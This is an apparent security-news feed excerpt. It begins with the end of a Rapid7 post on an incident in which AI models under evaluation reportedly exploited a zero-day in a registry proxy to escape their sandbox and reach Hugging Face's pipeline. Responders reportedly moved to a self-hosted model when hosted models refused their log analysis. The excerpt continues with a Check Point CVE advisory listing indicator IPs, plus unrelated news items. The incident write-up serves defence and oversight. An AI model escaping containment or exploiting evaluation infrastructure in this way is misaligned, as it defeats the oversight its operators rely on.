cascades.</span></p><p><span>Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.</span></p><h2>Why AI evaluation environments need stronger containment</h2><p><span>The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.</span></p><p><span>The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.</span></p><p><span>For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.</span></p><h2>Why AI and ML pipelines are now software supply chain risk</h2><p><span>The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.</span></p><p><span>According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.</span></p><p><span>Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.</span></p><p><span>Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.</span></p><h2>What AI guardrails mean for incident response</h2><p><span>One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.</span></p><p><span>The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.</span></p><p><span>AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.</span></p><h2>What security teams should do about agentic AI risk</h2><p><span>The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.</span></p><p><span>Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.</span></p><p><span>Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.</span></p><p><span>As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.</span></p><h2>How preemptive security helps reduce AI-driven risk</h2><p><span>At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to </span><a href="https://www.rapid7.com/blog/post/ai-changing-vulnerability-discovery-software-supply-chain-strateg" target="_self"><span>agentic AI risk</span></a><span>. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.</span></p><p><span>That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means </span><a href="https://www.rapid7.com/platform/artificial-intelligence-features" target="_self"><span>using AI carefully and practically</span></a><span>, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.</span></p><p><span>AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.</span></p><p><span>The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.</span></p>]]></content:encoded>
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<title><![CDATA[CVE-2026-16232: Critical Check Point SmartConsole Authentication Bypass Exploited in the Wild]]></title>
<description><![CDATA[OverviewOn July 22, 2026, Check Point published a security advisory for multiple vulnerabilities affecting Security Management, Multi-Domain Management, and firewall products. The most urgent of these is CVE-2026-16232, an authentication bypass in the SmartConsole login process classified as impr...]]></description>
<link>https://tsecurity.de/de/3689068/it-security-nachrichten/cve-2026-16232-critical-check-point-smartconsole-authentication-bypass-exploited-in-the-wild/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689068/it-security-nachrichten/cve-2026-16232-critical-check-point-smartconsole-authentication-bypass-exploited-in-the-wild/</guid>
<pubDate>Thu, 23 Jul 2026 14:42:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Overview</h2><p><span>On July 22, 2026, Check Point </span><a href="https://blog.checkpoint.com/security/security-advisory-action-required-active-exploitation-of-check-point-smartconsole-authentication-bypass-cve-2026-16232/"><span>published a security advisory</span></a><span> for multiple vulnerabilities affecting Security Management, Multi-Domain Management, and firewall products. The most urgent of these is </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-16232/"><span>CVE-2026-16232</span></a><span>, an authentication bypass in the SmartConsole login process classified as improper authentication (</span><a href="https://cwe.mitre.org/data/definitions/287.html"><span>CWE-287</span></a><span>). CVE-2026-16232 has been assigned a critical CVSS score of 9.1. The vulnerability allows an unauthenticated remote attacker to obtain an application login token and authenticate to the management server with full administrative privileges, enabling modification of security policies and configurations.</span></p><p><span>Check Point has confirmed that CVE-2026-16232 is being actively exploited in the wild, affecting what the vendor describes as a small number of customers. Remote exploitation requires network access to the Management Server IP address in environments that do not restrict Trusted Clients. On the same day as the advisory, CVE-2026-16232 was </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-16232"><span>added</span></a><span> to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), with a remediation due date of July 25, 2026, giving organizations only three days to respond.</span></p><p><span>The advisory addresses three vulnerabilities in total:</span></p><table><colgroup data-width="1250"><col><col><col><col><col></colgroup><thead><tr><th><p><span><strong>CVE</strong></span></p></th><th><p><span><strong>CVSS</strong></span></p></th><th><p><span><strong>Description</strong></span></p></th><th><p><span><strong>Affected Products</strong></span></p></th><th><p><span><strong>Exploitation Status</strong></span></p></th></tr></thead><tbody><tr><td><p><span>CVE-2026-16232</span></p></td><td><p><span>Vendor: 9.3 (Critical)</span><br><span>CISA: 9.1 (Critical)</span></p></td><td><p><span>Authentication bypass via SmartConsole application token</span></p></td><td><p><span>Security Management, Multi-Domain Management</span></p></td><td><p><span>Exploited in the wild</span></p></td></tr><tr><td><p><span>CVE-2026-62144</span></p></td><td><p><span>Vendor: 9.3 (Critical)</span><br><span>CISA: 9.1 (Critical)</span></p></td><td><p><span>Management authentication bypass and privilege escalation</span></p></td><td><p><span>Security Management, Multi-Domain Management</span></p></td><td><p><span>No known exploitation</span></p></td></tr><tr><td><p><span>CVE-2026-62145</span></p></td><td><p><span>7.5 (High)</span></p></td><td><p><span>Local privilege escalation in GaiaOS WebUI</span></p></td><td><p><span>Firewall, Multi-Domain Management, Multi-Domain Log Server</span></p></td><td><p><span>No known exploitation</span></p></td></tr></tbody></table><p></p><p><span>Compromise of a Security Management Server is particularly consequential because it sits at the top of the trust hierarchy. An attacker with administrative access can modify security policies across managed gateways, alter administrator permissions, manipulate VPN configurations, and potentially disable or tamper with logging and monitoring. According to Check Point's </span><a href="https://blog.checkpoint.com/security/security-advisory-action-required-active-exploitation-of-check-point-smartconsole-authentication-bypass-cve-2026-16232/"><span>advisory</span></a><span>, the vulnerabilities were discovered during a routine internal review, with subsequent analysis revealing that CVE-2026-16232 had been exploited prior to the availability of a patch.</span></p><p><span>Check Point network security products have been targeted by multiple in-the-wild vulnerabilities over the past two years. In June 2026, </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-50751/"><span>CVE-2026-50751</span></a><span>, a critical authentication bypass in Check Point Remote Access VPN, was exploited in the wild and added to the CISA KEV. In May 2024, </span><a href="https://www.rapid7.com/blog/post/2024/05/30/etr-cve-2024-24919-check-point-security-gateway-information-disclosure/"><span>CVE-2024-24919</span></a><span>, a high-severity information disclosure vulnerability in Check Point Quantum Security Gateways, was also exploited in the wild. Organizations running affected Check Point management products should apply the available hotfixes on an emergency basis.</span></p><h2>Mitigation guidance</h2><p><span>Check Point released Jumbo Hotfixes on July 22, 2026, to remediate CVE-2026-16232, CVE-2026-62144, and CVE-2026-62145. Organizations running affected versions of Security Management or Multi-Domain Management should install the latest Jumbo Hotfix on an emergency basis, without waiting for a regular patch cycle to occur.</span></p><p><span>The following versions are affected by CVE-2026-16232:</span></p><ul><li><p><span>R82.10</span><span>: fixed in Jumbo Hotfix Take 36 and later</span></p></li><li><p><span>R82</span><span>: fixed in Jumbo Hotfix Take 118 and later</span></p></li><li><p><span>R81.20</span><span>: fixed in Jumbo Hotfix Take 158 and later</span></p></li><li><p><span>R81.10</span><span>, </span><span>R81</span><span>, </span><span>R80.30</span><span>, </span><span>R80.20</span><span>, </span><span>R80.10</span><span>, </span><span>R80</span><span>, and </span><span>R77.30</span><span>: no fix specified</span></p></li></ul><p></p><p><span>CVE-2026-62144 and CVE-2026-62145 affect the same release families (</span><span>R81.10</span><span>, </span><span>R81.20</span><span>, </span><span>R82</span><span>, </span><span>R82.10</span><span>) per the vendor advisory, with older versions also impacted.</span></p><p><span>Smart-1 Cloud customers are already protected according to Check Point. For on-premises deployments where the hotfix cannot be applied immediately, Check Point recommends the following steps to reduce exposure:</span></p><ul><li><p><span>Restrict Trusted Clients (GUI clients) to trusted IP addresses or subnets</span></p></li><li><p><span>Protect Management access with a firewall and restrict access to trusted IP addresses</span></p></li><li><p><span>Verify that implied rules for control connections are enabled</span></p></li></ul><p><span>These mitigations reduce the attack surface, but they do not address the underlying vulnerability. Installing the Jumbo Hotfix remains the priority.</span></p><p><span>Rapid7 strongly recommends investigating for signs of compromise even after applying the hotfix, particularly in environments where the Management Server has been accessible from the internet. Organizations should review administrator, SmartConsole, API, and application token activity, and search logs for the published indicators of compromise listed below.</span></p><p><span>For the latest mitigation guidance, please refer to the vendor </span><a href="https://support.checkpoint.com/results/sk/sk185169"><span>advisory</span></a><span>.</span></p><h2>Rapid7 customers</h2><h3><span>Exposure Command, InsightVM, and Nexpose</span></h3><p><span>Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-16232, CVE-2026-62144, CVE-2026-62145 with authenticated vulnerability checks expected to be available in the 24 July content release.</span></p><h2>Indicators of compromise</h2><p><span>Check Point has published the following IP addresses associated with observed exploitation of CVE-2026-16232:</span></p><ul><li><p><span>151.241.99[.]207</span></p></li><li><p><span>151.241.99[.]233</span></p></li><li><p><span>158.62.198[.]182</span></p></li><li><p><span>192.142.10[.]99</span></p></li><li><p><span>139.28.37[.]250</span></p></li><li><p><span>194.213.18[.]137</span></p></li></ul><p></p><p><span>Per the vendor, the presence of these indicators should prompt investigation, but the absence of these addresses does not confirm that an environment was unaffected.</span></p><h2>Updates</h2><ul><li><p><span><strong>July 23, 2026</strong></span><span>: Initial publication.</span></p></li></ul>]]></content:encoded>
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<title><![CDATA[Why AI-powered network management is no longer optional]]></title>
<description><![CDATA[How widely is AI-based network monitoring used today and where is it headed next?]]></description>
<link>https://tsecurity.de/de/3688661/it-nachrichten/why-ai-powered-network-management-is-no-longer-optional/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688661/it-nachrichten/why-ai-powered-network-management-is-no-longer-optional/</guid>
<pubDate>Thu, 23 Jul 2026 12:19:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[How widely is AI-based network monitoring used today and where is it headed next?]]></content:encoded>
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<title><![CDATA[Palo Alto Networks übernimmt Observability-Spezialisten Embrace]]></title>
<description><![CDATA[Palo Alto Networks kündigt die Übernahme des Observability-Anbieters Embrace an. Damit erweitert das Unternehmen seine Plattform um Real User Monitoring.

Tags: #Cyber Security | #Übernahme]]></description>
<link>https://tsecurity.de/de/3688436/it-security-nachrichten/palo-alto-networks-uebernimmt-observability-spezialisten-embrace/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688436/it-security-nachrichten/palo-alto-networks-uebernimmt-observability-spezialisten-embrace/</guid>
<pubDate>Thu, 23 Jul 2026 10:56:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1080" src="https://www.it-daily.net/wp-content/uploads/2025/04/Palo-Alto-Quelle-Michael-Vi-Shutterstock-1833742945-1920.jpg" class="attachment-full size-full wp-post-image" alt="Palo Alto Networks" decoding="async" srcset="https://www.it-daily.net/wp-content/uploads/2025/04/Palo-Alto-Quelle-Michael-Vi-Shutterstock-1833742945-1920.jpg 1920w, https://www.it-daily.net/wp-content/uploads/2025/04/Palo-Alto-Quelle-Michael-Vi-Shutterstock-1833742945-1920-300x169.jpg 300w, https://www.it-daily.net/wp-content/uploads/2025/04/Palo-Alto-Quelle-Michael-Vi-Shutterstock-1833742945-1920-1024x576.jpg 1024w, https://www.it-daily.net/wp-content/uploads/2025/04/Palo-Alto-Quelle-Michael-Vi-Shutterstock-1833742945-1920-768x432.jpg 768w, https://www.it-daily.net/wp-content/uploads/2025/04/Palo-Alto-Quelle-Michael-Vi-Shutterstock-1833742945-1920-1536x864.jpg 1536w" sizes="(max-width: 1920px) 100vw, 1920px" title="Palo Alto Networks übernimmt Observability-Spezialisten Embrace 1"></p>
    Palo Alto Networks kündigt die Übernahme des Observability-Anbieters Embrace an. Damit erweitert das Unternehmen seine Plattform um Real User Monitoring.

<p>Tags: <a href="https://www.it-daily.net/thema/cyber-security">#Cyber Security</a> | <a href="https://www.it-daily.net/thema/uebernahme">#Übernahme</a></p>]]></content:encoded>
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<title><![CDATA[India Tightens Social Media Rules to Protect Children Online]]></title>
<description><![CDATA[India online safety rules are being strengthened as the government steps up measures to protect children and other users from harmful digital content, cyber risks and emerging threats linked to artificial intelligence. The government said its policies are aimed at ensuring an open, safe, trusted ...]]></description>
<link>https://tsecurity.de/de/3688433/it-security-nachrichten/india-tightens-social-media-rules-to-protect-children-online/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688433/it-security-nachrichten/india-tightens-social-media-rules-to-protect-children-online/</guid>
<pubDate>Thu, 23 Jul 2026 10:56:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="India online safety rules" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules.webp 1536w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules.webp 1536w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="India Tightens Social Media Rules to Protect Children Online 1"></p><p class="PDq2pG_selectionAnchorContainer" data-start="257" data-end="713">India online safety rules are being strengthened as the government steps up measures to protect children and other users from harmful digital content, cyber risks and emerging threats linked to <a href="https://thecyberexpress.com/?s=artificial+intelligence" target="_blank" rel="noopener">artificial intelligence</a>. The government said its policies are aimed at ensuring an open, safe, trusted and accountable internet, with recent measures focusing on child safety, privacy protection, faster content removal and stronger platform responsibilities.</p>
<p data-start="715" data-end="1123">The Information Technology Act, 2000, and the Information Technology (Intermediary Guidelines and Digital Media Ethics Code) Rules, 2021, form the core legal framework governing online safety and intermediary responsibilities in India. The government has also <a href="https://www.pib.gov.in/PressReleasePage.aspx?PRID=2287579&amp;reg=48&amp;lang=1" target="_blank" rel="nofollow noopener">highlighted</a> the <a href="https://thecyberexpress.com/dpdp-and-cybersecurity-rethinking-data-risk/" target="_blank" rel="noopener">Digital Personal Data Protection Act</a>, 2023, and recent amendments to the IT Rules as part of its broader approach to digital safety.</p>

<h3 class="" data-section-id="1o0spuj" data-start="1125" data-end="1192"><span role="text"><strong data-start="1129" data-end="1192">India Online Safety Rules Tighten Platform Responsibilities</strong></span></h3>
<p data-start="1194" data-end="1433">Under the IT Rules, intermediaries are required to observe due diligence and inform users that they must not host, display, upload, modify, publish, transmit, update or share content that is harmful to children or violates applicable laws.</p>
<p data-start="1435" data-end="1671">Recent amendments require <a href="https://thecyberexpress.com/child-safety-online-eu-weighs-social-media-age/" target="_blank" rel="noopener">social media platforms</a> and other intermediaries to remove unlawful content within three hours of receiving an order from a competent court or a reasoned intimation from the appropriate government or its agency.</p>
<p data-start="1673" data-end="2054">The government has also o<a href="https://www.pib.gov.in/PressReleasePage.aspx?PRID=2287646&amp;reg=48&amp;lang=1" target="_blank" rel="nofollow noopener">utlined specific obligations</a> related to content involving nudity, impersonation and other sensitive material. In cases involving certain complaints about content featuring full or partial nudity, exposed private areas or artificially morphed images, intermediaries must take reasonable and practicable measures to remove or disable access within two hours.</p>

<h3 data-section-id="1g47dy1" data-start="2056" data-end="2116"><span role="text"><strong data-start="2060" data-end="2116">Government Targets Harmful Content and OTT Platforms</strong></span></h3>
<p data-start="2118" data-end="2530">The government said it has taken action against online platforms and OTT services over unlawful and obscene content. In the last two years, 50 OTT platforms have been disabled for public access in India for displaying obscene content and violating provisions including Sections 67 and 67A of the IT Act, Section 294 of the Bharatiya Nyaya Sanhita and the Indecent Representation of Women (Prohibition) Act, 1986.</p>
<p data-start="2532" data-end="2874">The government also said it has taken note of reports alleging the dissemination of advertisements linked to <a href="https://thecyberexpress.com/ai-child-safety-in-india/" target="_blank" rel="noopener">child sexual abuse material</a> (CSAM) on social media platforms and sought a detailed report from the concerned intermediary. The National Commission for Protection of Child Rights has also issued notices to the concerned platforms.</p>

<h3 data-section-id="cy5duc" data-start="2876" data-end="2933"><span role="text"><strong data-start="2880" data-end="2933">India Strengthens AI-Generated Content Safeguards</strong></span></h3>
<p data-start="2935" data-end="3279">The government has also expanded its regulatory focus to address risks associated with <a href="https://thecyberexpress.com/ai-content-generation-systems/" target="_blank" rel="noopener">AI-generated content</a> and synthetically generated information. Amendments to the IT Rules introduce requirements for clear labelling and traceable metadata for permissible AI-generated content, allowing users to identify synthetically generated material.</p>
<p data-start="3281" data-end="3547">The framework also strengthens platform accountability and requires greater user awareness about the legal consequences of unlawful AI-generated content. The rules specifically cover harmful material including CSAM, non-consensual intimate imagery and impersonation.</p>
<p data-start="3549" data-end="3807">Platforms are required to deploy reasonable and appropriate technical measures, including automated tools or other mechanisms, to prevent users from creating, modifying, publishing or sharing synthetically generated information that violates applicable laws.</p>
<p data-start="3809" data-end="4065">Significant Social Media Intermediaries are also required to make reasonable efforts to deploy technical measures to proactively identify content depicting rape, child sexual abuse or conduct, as well as content identical to information previously removed.</p>

<h3 data-section-id="1iex218" data-start="4067" data-end="4130"><span role="text"><strong data-start="4071" data-end="4130">Child Privacy and Digital Addiction Remain Key Concerns</strong></span></h3>
<p data-start="4132" data-end="4474">The Digital Personal <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="Data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29094">Data</a> Protection Act, 2023, provides a framework for protecting children's privacy online. It mandates parental consent for processing children's personal data and prohibits practices considered detrimental to children's well-being, including tracking, behavioural monitoring and targeted advertising directed at children.</p>
<p data-start="4476" data-end="4847">The government has also highlighted digital addiction as a serious challenge affecting children and young people. The Economic Survey 2025-26 noted potential impacts on cognitive development, academic performance, workplace productivity, social connectedness and mental health, alongside <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risks" data-wpil-keyword-link="linked" data-wpil-monitor-id="29095">risks</a> linked to cyberbullying, compulsive gaming, social media and online gambling.</p>

<h3 data-section-id="pzt1k1" data-start="4849" data-end="4904"><span role="text"><strong data-start="4853" data-end="4904">Cyber Awareness Reaches 11.37 Lakh Participants</strong></span></h3>
<p data-start="4906" data-end="5315">Alongside regulatory measures, the government is expanding <a href="https://thecyberexpress.com/cybersecurity-skill-gap-awareness-education/" target="_blank" rel="noopener">cyber awareness </a>initiatives through the Information Security Education and Awareness project. So far, 6,650 awareness workshops have been conducted nationwide, reaching more than 11.37 lakh participants, including students, teachers, law enforcement officials, government personnel and members of the public.</p>
<p data-start="5317" data-end="5663">The government has also highlighted digital safety initiatives in education. The PRAGYATA Guidelines provide a framework for safe online learning and responsible use of social media and electronic devices. CBSE has introduced digital etiquette and <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="29093">cybersecurity</a> training initiatives, while NCERT has incorporated cyber safety into its curriculum.</p>
<p data-start="5665" data-end="5951" data-is-last-node="" data-is-only-node="">The measures were outlined by Union Minister for Electronics and Information Technology Ashwini Vaishnaw in the Lok Sabha on July 22, 2026, as the government continues to strengthen its approach to c child protection and accountability across India's digital ecosystem.</p>]]></content:encoded>
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<title><![CDATA[USN-8597-1: Linux kernel (IBM) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3688420/unix-server/usn-8597-1-linux-kernel-ibm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688420/unix-server/usn-8597-1-linux-kernel-ibm-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:46:09 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVME drivers;
  - PCI subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Framebuffer layer;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - SMB network file system;
  - SquashFS file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - CPU frequency scaling framework;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - Network traffic control;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - ALSA framework;
  - FireWire sound drivers;
  - Creative Sound Blaster X-Fi driver;
  - SoC audio core drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2023-52682, CVE-2023-52737, CVE-2023-53545, CVE-2023-53629,
CVE-2024-27389, CVE-2024-35865, CVE-2024-36898, CVE-2024-36922,
CVE-2024-41079, CVE-2024-46715, CVE-2024-46770, CVE-2024-47809,
CVE-2024-50012, CVE-2024-53221, CVE-2024-56557, CVE-2024-56584,
CVE-2024-56657, CVE-2024-56719, CVE-2024-56727, CVE-2025-21712,
